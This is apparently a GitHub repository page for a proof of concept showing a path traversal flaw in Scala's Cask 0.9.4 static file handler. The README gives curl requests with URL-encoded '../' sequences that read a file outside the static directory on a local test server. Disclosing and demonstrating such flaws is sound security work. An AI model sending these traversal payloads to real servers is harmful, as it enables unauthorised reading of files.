Skip to content

This repository showcases a vulnerability in the Scala's Cask library where path traversal could be done

Notifications You must be signed in to change notification settings

Maeeen/cask-static-path-traversal-issue

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Showcasing simple path traversal issue on Cask 0.9.4

  • sbt run
  • curl http://localhost:8080/static/%2E%2E%2Fhi.txt
    • Outputs Got me… from hi.txt instead of Hi! from static/hi.txt
    • curl http://localhost:8080/static/..%2F/hi.txt works as well
  • Tested on: HotSpot 17+35-LTS-2724, OpenJDK 11.0.25, OpenJDK 21.0.5

About

This repository showcases a vulnerability in the Scala's Cask library where path traversal could be done

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages